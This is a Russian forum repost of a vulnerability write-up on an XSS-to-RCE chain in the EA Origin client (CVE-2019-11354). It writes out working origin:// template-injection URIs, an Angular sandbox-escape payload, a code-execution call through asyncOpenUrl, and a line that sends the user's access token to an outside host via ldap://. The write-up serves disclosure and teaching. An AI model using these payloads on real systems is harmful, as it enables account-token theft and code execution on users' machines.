• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Гостевая статья Сомнительное путешествие от XSS к RCE

Как многие читающие, наверняка, знают, в середине апреля 2019 года была обнаружена уязвимость удаленного выполнения кода в клиенте EA Origin (CVE-2019-11354). О ней и некоторых других багах, @zer0pwn с другом @Daley решили рассказать на страницах своего блога.

calc.gif


Отладка Origin
Многие уязвимости, о которых далее пойдет речь, были найдены, в частности, при помощи отладки QtWebEngine. Передав определенный флаг, мы можем подключить Chrome DevTools к процессу и отследить сетевой трафик.

Чтобы настроить отладку, вы должны включить перенаправление портов в DevTools. Для этого вам нужно запустить Chrome, открыть DevTools и нажать на Customize and Control DevTools (три точки в верхнем правом углу). В открывшемся меню выбрать More Tools, Remote Devices и указать необходимые параметры. После этого можно запустить сам Origin.
Код:
Origin.exe --remote-debugging-port=31337
Теперь, если вы откроете в Chrome адрес localhost:31337, вас поприветствует уже знакомый интерфейс DevTools, который мы и будем использовать для отладки.

Origin URI Handler
Использование URI не является чем-то новым. В течение долгого времени эта технология обеспечивала надежные способы доставки полезных нагрузок и выполнения команд на удаленных компьютерах. В таком случае, вся идея регистрации пользовательского обработчика URI заключается в простоте доступа. Например, обработчик Origin, в основном, предназначен для запуска или покупки игр через веб-браузер. Как только вы нажмете одну из соответствующих ссылок, ваш Origin клиент запустится с параметрами, предоставленными созданным URI.

Чтобы запустить игру, мы можем использовать следующий URI:
Код:
origin://game/launch/?offerIds=OFFERID
Эта ссылка может иметь несколько параметров, в одном из них мы и нашли первый баг.

Первый баг (Template Injection)
Первый баг основан на факте о том, что когда Origin получает неверный идентификатор игры, он дает вам возможность добавить его вручную в библиотеке игр. В появившемся диалоговом окне, в частности, отображается название игры, которую вы хотите добавить. Если Origin не смог получить название игры, вы можете указать его самостоятельно. За него отвечает параметр “title”, который нам пригодится.

Мы можем указать буквально любой заголовок в следующей ссылке:
Код:
origin://game/launch/?offerIds=0&title=cybred
Это побудило меня попробовать внедрить собственный HTML код, чтобы увидеть, существует ли возможность эксплуатировать XSS. Вы можете сказать, что простой HTML интерпретируется и при использовании следующей ссылки:
Код:
origin://game/launch/?offerIds=0&title=<h1>zer0pwn
Но выполнить Javascript не так - то просто. Немного покопавшись, я обнаружил, что интерфейс Origin, в основном, разрабатывается на Angular. Angular активно задействует различные шаблонизаторы, поэтому я подумал, что, возможно, есть возможность внедрить свой шаблон. И я оказался прав, пэйлоад 7 * 7 сработал на ура.
Код:
origin://game/launch/?offerIds=0&title={{7*7}}

Второй баг (XSS)
Очевидно, что с уязвимостью внедрения шаблона на стороне клиента мы ограничены выполнением действий в клиенте Origin. Однако, это не приговор, так как мы можем попробовать покинуть текущее окружение.

Angular печально известен своей песочницей, а это значит, что нам нужно будет написать несколько простых скриптов, чтобы выполнить задуманное. К счастью, исследователи уже рассказали об эскейпе из песочницу, который мы и использовали.

Используя следующую полезную нагрузку в параметре title, мы смогли открыть окно предупреждения (l33th4x !!!! 11)
Код:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(l),a')}}

Третий баг (RCE)
Теперь эта часть эксплойта относительно тривиальна. Перейдем к QDesktopServices.

Согласно документации Qt: «Класс QDesktopServices предоставляет методы для доступа к общим службам ОС, такие как открытие URL в браузере использующемся по умолчанию». В самом QDesktopServices сейчас достаточно сложно найти какие - нибудь уязвимости, однако способ, которым Origin реализовал данный класс, помимо других уязвимостей, закончился довольно неприятным результатом. Существует отдельный SDK (от Origin), в котором вы можете общаться с клиентскими QDesktopServices через библиотеку Javascript. И работает он только если запущен в клиенте Origin (очевидно).

Получив доступ к Origin.client.desktopServices в DOM, мы можем найти следующие функции:
  • function asyncOpenUrl()
  • function asyncOpenUrlWithEADPSSO()
  • function deminiaturize()
  • function flashIcon()
  • function formatBytes()
  • function getVolumeDiskSpace()
  • function isMiniaturized()
  • function miniaturize()
  • function moveWindowToForeground()
  • function setNextWindowUUID()
  • function showWindow()
Некоторые из этих функций довольно крутые. Если вы вызовете flashIcon(), вы увидите мигающий значок Origin (большой сюрприз, верно). Большинство функций понятны из названия, так что я не буду вдаваться в подробности.

Больше всего нам повезло с asyncOpenUrl(). Эта функция вызывает функцию openUrl() QDesktopServices, которая, в свою очередь, открывает веб-браузер или любое другое приложение, зарегистрированное с предоставленным URI. Согласно документации, вы даже можете загрузить локальные ресурсы. Звучит многообещающе, правда ;)?

Мы можем даже открыть калькулятор при помощи следующего JavaScript:
Код:
Origin.client.desktopServices.asyncOpenUrl("calc.exe")

Что еще мы можем сделать?
Как я упоминал ранее, у Origin есть CSP, что затрудняет эксфильтрацию. Если мы используем обработчик URI ldap:// в сочетании с asyncOpenUrl(), мы можем отправить LDAP запрос с данными, которые мы хотим отфильтровать.
Код:
"ldap://safe.tld/o="+Origin.user.accessToken()+",c=UnderDog"
С сервера запустите tcpdump и установите необходимые фильтры, и вы сможете данные, передаваемые в виде открытого текста.
Объект Origin.user также содержит множество другой информации.
  • function accessToken()
  • function country()
  • function dob()
  • function email()
  • function emailStatus()
  • function globalEmailSignup()
  • function isAccessTokenExpired()
  • function originId()
  • function personaId()
  • function registrationDate()
  • function sessionGUID()
  • function showPersona()
  • function tfaSignup()
  • function underAge()
  • function userGUID()
  • function userPid()
  • userStatus()
Разве это не исправлено?
Electronic Art выпустила патч, однако есть обходные пути, которыми исследователи продолжают делиться в Twitter. Это еще раз подчеркивает серьезность проблемы и необходимость ее решения путем очистки всех типов ввода, так как в первоначальном патче это не было исправлено.

Ссылки
 
  • Нравится
Реакции: Sunnych и Debug

makar

Green Team
08.09.2016
236
150
BIT
0
ссылку подправь на источник там без blog.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!